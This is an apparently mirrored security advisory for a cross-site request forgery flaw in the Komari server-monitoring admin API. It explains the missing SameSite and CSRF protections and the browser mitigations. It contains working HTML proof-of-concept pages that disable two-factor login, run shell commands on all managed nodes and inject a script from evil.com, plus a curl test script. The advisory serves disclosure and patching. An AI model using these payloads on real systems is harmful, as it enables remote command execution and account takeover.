GO-2026-6449Published

Komari: Management Interface CSRF

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osv · GHSA-hxjg-93wc-h8p8

Published

# Vulnerability Overview The `session_token` cookie is set **without** the `SameSite` or `Secure` attributes (`login.go:68`). All `/api/admin/` management endpoints rely solely on this cookie for authentication, with **no CSRF token or Origin validation**. **The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior.** ## Root Cause ```go // komari-main/api/public/login.go:68 c.SetCookie("session_token", session, 2592000, "/", "", false, true) // Secure=false, SameSite not explicitly set // Admin route group (server.go:213-343) has no CSRF middleware ``` Gin's `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight. ## Browser Limitations - Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`. - Cookies without an explicit `SameSite` attribute **are not included in cross-site POST requests**. - As a result, the server receives requests without the session cookie and returns **HTTP 401 Unauthorized**. | Scenario | Exploitable | |----------|-------------| | Cross-site HTML (modern browsers) | ✗ Blocked by `SameSite=Lax` | | Cross-site HTML (Chrome <80 / legacy browsers) | ✓ | | Same-origin context (Browser Console / existing XSS) | ✓ | | Man-in-the-middle over HTTP (`Secure=false`) | ✓ | ## High-Impact Operations Reachable via CSRF | Endpoint | Method | Impact | |----------|--------|--------| | `/api/admin/task/exec` | POST | Execute arbitrary shell commands on managed nodes | | `/api/admin/2fa/disable` | POST | Disable administrator two-factor authentication | | `/api/admin/settings/` | POST | Modify system configuration | | `/api/admin/upload/backup` | POST | Upload a malicious backup | | `/api/admin/record/clear/all` | POST | Delete all monitoring records | | `/api/admin/client/:uuid/edit` | POST | Modify client configuration | | `/api/admin/client/:uuid/remove` | POST | Remove managed clients | | `/api/admin/session/remove/all` | POST | Invalidate all active sessions | | `/api/admin/settings/cloudflared/start` | POST | Start a Cloudflared tunnel | ## PoC 1 — Disable 2FA ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <iframe name="sink" style="display:none"></iframe> <form id="f" method="POST" action="https://komari.example.com/api/admin/2fa/disable" target="sink"></form> <script> document.getElementById('f').submit(); </script> </body> </html> ``` ## PoC 2 — Remote Command Execution ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <script> var KOMARI = "https://komari.example.com"; var CMD = "id && hostname && whoami"; fetch(KOMARI + "/api/admin/client/list", { credentials: "include" }) .then(function(r){ return r.json(); }) .then(function(data){ var nodes = data.data || []; var uuids = []; for (var i = 0; i < nodes.length; i++) { if (nodes[i].uuid) uuids.push(nodes[i].uuid); } if (uuids.length === 0) return; return fetch(KOMARI + "/api/admin/task/exec", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ command: CMD, clients: uuids }) }); }); </script> </body> </html> ``` ## PoC 3 — Modify System Configuration ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <script> var KOMARI = "https://komari.example.com"; fetch(KOMARI + "/api/admin/settings/", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ "site_name": "Pwned", "custom_head": "<script src='https://evil.com/hook.js'><\/script>" }) }); </script> </body> </html> ``` ## PoC 4 — Clear All Monitoring Records ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <iframe name="sink" style="display:none"></iframe> <form id="f" method="POST" action="https://komari.example.com/api/admin/record/clear/all" target="sink"></form> <script> document.getElementById('f').submit(); </script> </body> </html> ``` ## Verification Script ```bash #!/bin/bash KOMARI="${1:-https://komari.example.com}" echo "=== CSRF Verification ===" echo "[1] Cookie Attributes..." curl -s -D - -o /dev/null \ -X POST "$KOMARI/api/public/login" \ -H "Content-Type: application/json" \ -d '{"username":"test","password":"test"}' | grep -i 'set-cookie' echo "" echo "[2] CORS Headers..." curl -s -D - -o /dev/null \ -H "Origin: https://evil.com" \ "$KOMARI/api/public/config" | grep -i 'access-control' echo "" echo "[3] CSRF Protection on Admin Endpoint..." CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "$KOMARI/api/admin/settings/" \ -H "Content-Type: application/json" \ -H "Origin: https://evil.com" \ -d '{}') echo " HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present." ```

Source published: 9 Sep 2026 23:48:31 UTC
Source modified: 17 Sep 2026 17:41:04 UTC
Saved here: 24 Oct 2026 13:19:41 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Publisher rating · HIGH

osv · GO-2026-6449

Published

Komari: Management Interface CSRF in github.com/komari-monitor/komari

Source published: 16 Sep 2026 16:56:22 UTC
Source modified: 17 Sep 2026 17:30:12 UTC
Saved here: 24 Oct 2026 13:19:41 UTC
Source terms: OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.